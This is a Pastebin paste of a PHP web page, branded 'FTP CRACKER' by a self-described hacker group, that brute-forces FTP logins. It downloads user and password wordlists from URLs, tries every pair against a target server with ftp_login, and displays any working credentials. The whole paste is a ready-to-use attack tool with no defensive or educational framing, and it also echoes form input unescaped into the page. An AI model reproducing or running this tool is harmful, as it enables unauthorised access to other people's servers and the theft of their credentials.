YaCiNe_Dz

ftp crack

Aug 18th, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.56 KB | None | 0 0
  1. <? @set_time_limit(0);?>
  2. <html>
  3. <head>
  4. <title>Crack Ftp</title>
  5. <style>
  6. *{
  7.     box-sizing:border-box;
  8. }
  9. body{
  10.     background-color: black;
  11.     color: rgba(0,255,0,0.7);
  12.     width: 100%;
  13.     height: 100%;
  14.     margin: 0;
  15. }
  16. .title{
  17.     position: relative;
  18.     width: 400px;
  19.     height: 110px;
  20.     border: 1px solid white;
  21.     top: -85px;
  22.     margin: auto;
  23.     border-bottom-left-radius: 70px;
  24.     border-bottom-right-radius: 70px;
  25.  
  26. }
  27. h1{
  28.     text-align:center;
  29.     color: rgba(0,255,0,0.5);
  30.     text-shadow: 2px 2px white;
  31. }
  32. h2{
  33.     position:relative;
  34.     top:21px;
  35.     margin:auto;
  36.     display:inline-block;
  37.     color: rgba(0,255,0,0.5);
  38.     text-shadow: 2px 2px white;
  39. }
  40. input[type="text"]{
  41.     box-shadow: 1px 1px 1px 1px red;
  42.     border-radius: 6px;
  43.     padding-left: 13px;
  44.     margin-left:30px;
  45.     text-align:center;
  46. }
  47. .label,.label1{
  48.     width : 500px;
  49.     height: 30px;
  50. }
  51. .label{
  52.     float:left;
  53.     margin-left:20px;
  54. }
  55. .label1{
  56.     float:right;
  57.     width:328px;
  58. }
  59. .site{
  60.     position:relative;
  61.     top:100px;
  62.     margin:auto;
  63.     width:315px;
  64. }
  65. #dd{
  66.     width: 96%;
  67.     min-height: 1000px;
  68.     display: none;
  69.     position: relative;
  70.     border-radius: 25px;
  71.     border: 2px solid green;
  72.     top: 130px;
  73.     text-align: left;
  74.     padding: 30px;
  75.     margin: auto;
  76. }
  77. #start{
  78.     width: 100%;
  79.     padding: 30px;
  80.     box-shadow: none;
  81.     border-radius: 0;
  82.     text-align: left;
  83.     border: 0;
  84.     background: black;
  85.     color: green;
  86.     margin-right:30px;
  87. }
  88. </style>
  89. <script language="Javascript">
  90. function check(value){
  91.     var array = document.getElementsByClassName(value);
  92.     var count = 0;
  93.     for (var i=0;  i< array.length; i++) {
  94.         var x = array[i].value;
  95.         if (x == null || x == "") {
  96.         count++;   
  97.         }
  98.     }
  99.     if(count == 0){
  100.         document.getElementById("dd").style.display = "block";
  101.     }
  102. }
  103. </script>
  104. </head>
  105. <body>
  106.  
  107.  
  108. <h1>We Are Muslims Hacker</h1>
  109. <center><h2>FTP CRACKER</h2></center>
  110. <div class="title"></div>
  111. <form id="myForm" method="post">
  112. <div class="label">path user file<input type="text" name="user_list" value="<?if(!isset($_POST['user_list'])) echo "http://pastebin.com/raw/bUKCz0Wm"; else echo $_POST['user_list'];?>" placeholder="User Path Here" class="input" onkeyup="check('input')" <?if(!isset($_POST['user_list'])) echo"autofocus";?>></div>
  113. <div class="label1">path pass file<input type="text" name="pass_list" value="<?echo $_POST['pass_list'];?>" placeholder="Pass Path Here" class="input" onkeyup="check('input')"></div>
  114. <div class="site">Target Site<input type="text" name="target" value="<?echo $_POST['target'];?>"   placeholder="Target Site" class="input" onkeyup="check('input')" onchange="check('input')"></div>
  115. <div id="dd">
  116. <input type="text" name="ex" value="<?echo $_POST['ex'];?>"placeholder="C:\>ftp" onkeyup="myFunction()" id="start">
  117. <?
  118. if(isset($_POST['user_list'])){
  119. if(isset($_POST['ex'])) {
  120.     echo '
  121.     <script>document.getElementById("dd").style.display = "block";</script>
  122.     ';
  123. }
  124. $true = 0;
  125. $ftp_server=$_POST['target'];
  126. $user = explode("\r\n",@file_get_contents($_POST['user_list']));
  127. $pass = explode("\r\n",@file_get_contents($_POST['pass_list']));
  128. echo "FTP SERVER : $ftp_server<br>
  129. <table width=50% style='border-collapse: collapse;margin-left: 40px;'>
  130. <tr><td  style='height:20px;border-left:1px solid white;'></td><td></td></tr>
  131. ";
  132. foreach($user as $ftp_user){
  133.     echo "<tr><td width=60% style='border-top:1px solid white;position: relative;height:20px;' class='usere'><div style='position:absolute;height: 20px;top:-18px;left:150px;background:black;width:200px;'>USER <span style='font-size:22px;'>--</span><span style='position: relative;top: 3px;font-size: 25px;'>></span> <span style='color:white;font-size:21px;'>$ftp_user</span></div></td><td width=40%><table width=100% style='border-collapse:collapse;position: relative;left: -182px;top: 5px;'>";
  134.     foreach($pass as $ftp_pass){
  135.         //$ftp_user = trim($ftp_user);
  136.         $conn_id = ftp_connect($ftp_server) or die("Couldn't connect to $ftp_server");
  137.         echo "
  138.         <tr><td width=70% style='border-left:1px solid white;border-bottom:1px solid white;position: relative;height:30px;'><div style='position:absolute;height: 29px;top:13;left:77px;background:black;width: 320px;'>PASS <span style='font-size:22px;'>--</span><span style='position: relative;top: 3px;font-size: 25px;'>></span> <span style='color:white;font-size:21px;'>$ftp_pass</span> <font
  139.         ";
  140.         if(ob_get_length() !== false)@ob_flush();
  141.         flush();
  142.         //sleep(1);
  143.         if (@ftp_login($conn_id, $ftp_user, $ftp_pass)) {
  144.             $true = 1;
  145.             $ftp_true = $ftp_server;
  146.             $user_true = $ftp_user;
  147.             $pass_true = $ftp_pass;
  148.             echo "color='green'>succes";
  149.         } else {
  150.             echo "color='red'>failed";
  151.         }
  152.         if(ob_get_length() !== false)@ob_flush();
  153.         flush();
  154.         echo "</font></div></td></tr>
  155.         <script>
  156.             var body = document.body;
  157.             var html = document.documentElement;
  158.             body.scrollTop += 30;
  159.             html.scrollTop += 30;
  160.         </script>
  161.         ";
  162.         ftp_close($conn_id);
  163.     }echo"</table><div style='height:30px;'></div></td>";
  164.     ?>
  165.     <script>
  166.     var c = document.getElementsByClassName("usere");
  167.     for (var i=0;  i< c.length; i++) {
  168.         c[i].style.borderLeft = "1px solid white";
  169.     }
  170.     </script>
  171.     <?
  172. }
  173. echo "</table>";
  174. if($true == 1){
  175. echo "<hr style='margin-top:0;'>
  176. <font color='green'>FTP SERVER : $ftp_true
  177. <br>USER :$user_true
  178. <br>PASS :$pass_true</font><hr>";
  179. }else{
  180.     echo "<hr><h3 style='text-align:center;'> NO LOGIN SUCCES (0)</h3>";
  181. }
  182.  
  183. }
  184. ?>
  185. </div>
  186.  
  187. </form>
  188.  
  189. <script>
  190. function myFunction() {
  191.     if( document.getElementById("start").value == "start" ){
  192.         document.getElementById("myForm").submit();
  193.     }
  194. }
  195. </script>
  196. </body>
Add Comment
Please, Sign In to add comment